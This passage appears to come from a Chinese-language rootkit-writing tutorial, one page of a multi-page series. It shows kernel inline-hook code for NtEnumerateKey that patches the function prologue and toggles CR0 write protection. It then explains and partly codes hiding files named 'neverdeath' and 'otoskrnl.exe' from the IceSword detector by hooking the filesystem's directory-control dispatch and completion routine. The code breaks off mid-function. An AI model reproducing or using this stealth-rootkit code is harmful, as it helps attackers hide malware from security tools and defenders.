| ; }
_asm { pushad //获取 NtEnumerateKey 函数的地址并保留该函数的起始六个字节 mov edi, OldNtEnumerateKey mov eax, [edi] mov dword ptr ResumCodeNtEnumerateKey[0], eax mov ax, [edi+4] mov word ptr ResumCodeNtEnumerateKey[4], ax //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtEnumerateKey去执行
mov byte ptr CrackCodeNtEnumerateKey[0], 0x68 mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68 lea edi, NewNtEnumerateKey mov dword ptr CrackCodeNtEnumerateKey[1], edi mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3 mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3 //把第NtEnumerateKey的第三个字减去D50在送回 mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4] sub ax, 0xD50 mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax
//把构造好的代码进行替换 mov edi, OldNtEnumerateKey mov eax, dword ptr CrackCodeNtEnumerateKey[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeNtEnumerateKey[4] mov word ptr[edi+4], ax popad }
_asm //开中断 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI }
Status = RepairNtosFile( (DWORD)OldNtEnumerateKey, //(DWORD)(&CrackCodeNtEnumerateKey) 2k (DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP return Status;
}
7、隐藏文件:
终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文件列表的过程时,迂回战术简直玩到了另人匪夷所思的地步!我花了很多时间(好几次坐在机子面前十几个小时想的脑袋都绿了却一点收获都没有)才实现了不用IFS,不用attach文件设备直接而进行隐藏,当时我甚至去hook函数IoCallDriver函数(经常看到有些人hook这个函数失败,便造谣此函数不能hook,其实是可以的,但是确实很麻烦,如果你也想试试,为了让你少走弯路,好意提醒一下,请尽最大努力保护好寄存器!)来截获系统所有的IRP包,然后分析,真是差点没把我搞死! 普通情况下,我们是通过发送IRP_MJ_DIRECTORY_CONTROL(0xC)请求给FSD来获取文件列表的。获取后的信息存在IRP->UserBuffer(0x3c)中。但是你会发现IS在获取文件列表时并不发送IRP_MJ_DIRECTORY_CONTROL给FSD,而是发送IRP_MJ_DEVICE_CONTROL(0xE)请求给另外一个不知名设备。并且在该被请求完成后,你在完成的IRP数据中找不到任何有关文件名字的影子。或许你便开始点一只烟,盯着屏幕直发楞,直想:“这怎么可能呢?”(呵呵,也许pjf要的就是这种效果)。
邪恶的微软总是想方设法的企图蒙蔽我们,让我们忽略本质!内核里面的那些什么对象啊、设备啊、这个啊、那个啊、所有乱七八糟的东东,从本质上来讲还不都是一堆代码与数据。IS不发送IRP_MJ_DIRECTORY_CONTROL请求不代表它不会调用这个例程。
我对IS获取文件列表的猜想(IS的anti Debug太强, 为了今年之内把这个搞定,因此没时间再陪它耗下去了):
单独创造一个Device,这个Device的IRP_MJ_DEVICE_CONTROL例程中构造IRP与DEVICE_OBJECT后,直接调用IRP_MJ_DIRECTORY_CONTROL例程,这样就避免了向文件设备发送请求但是还能获取文件列表的目的了。关于在完成后的IRP包中无法获取文件名的功能,其实只要在直接调用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的内容转移或加个密就轻易实现了。
虽然这只是猜想,但是为了验证我的想法。我单独写了个test证明我的想法是可行的。我不能确定IS就是这样做,但我能确定如果你这样做的话就能达到类似的效果。
IS就是通过设置IO_COMPLETION_ROUTINE函数来第一时间处理完成后的结果,我们下面用的方法就是通过替换这个IO_COMPLETION_ROUTINE来抢先处理结果。我们处理完了再调用IS的IO_COMPLETION_ROUTINE函数。另外要说的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一个文件名(哪怕已重复出现)。而你在自己的IO_COMPLETION_ROUTINE中如果检测到是自己要隐藏的文件名的话,不能不调用原先IS的IO_COMPLETION_ROUTINE,否则BSOD。因此你只能更改文件属性了,更改文件属性也能达到隐藏的目的。还记不记的以前DOS时代的[.]与[..]文件夹吗(那片笑声让我想起我的那些文件夹)。当返回你要隐藏的文件时信息,把这些信息全都替换成[.]或[..]文件夹属性(当然包括文件名信息了)就行了。
下面的代码先获取FSD设备的IRP_MJ_DIRECTORY_CONTROL分派函数的地址,然后对该函数进行hook。在我们构造的新的IRP_MJ_DIRECTORY_CONTROL分派函数中通过IO_STACK_LOCATION中的Length(+0x4)数值来判断是否时IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的话就进行替换IO_COMPLETION_ROUTINE。
下的代码在FAT32、NTFS、NTFS&FAT32中测试通过,在纯Fat中也测试通过。
PCWSTR HideDirectory =L"neverdeath"; PCWSTR HideFile = L"otoskrnl.exe";
DWORD NtfsUserbuf; DWORD NtfsFileName; DWORD NtfsLocaIrp;
DWORD FatUserbuf; DWORD FatFileName; DWORD FatLocaIrp;
typedef NTSTATUS (*_DISPATCH) ( IN PDEVICE_OBJECT DeviceObject, IN OUT PIRP Irp );
_DISPATCH OldNtfsQueryDirectoryDispatch; _DISPATCH OldFatQueryDirectoryDispatch;
PIO_COMPLETION_ROUTINE OldNtfsCompletionRuntine; PIO_COMPLETION_ROUTINE OldFatCompletionRuntine;
NTSTATUS NewNtfsCompletionRuntine( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { NTSTATUS Status;
_asm { pushad mov edi, NtfsUserbuf add edi, 0x5e mov NtfsFileName, edi popad } if ( wcsstr( NtfsFileName, HideDirectory ) || wcsstr( NtfsFileName, HideFile ) ) { _asm { &n << 上一页 [11] [12] [13] [14] [15] [16] [17] 下一页 |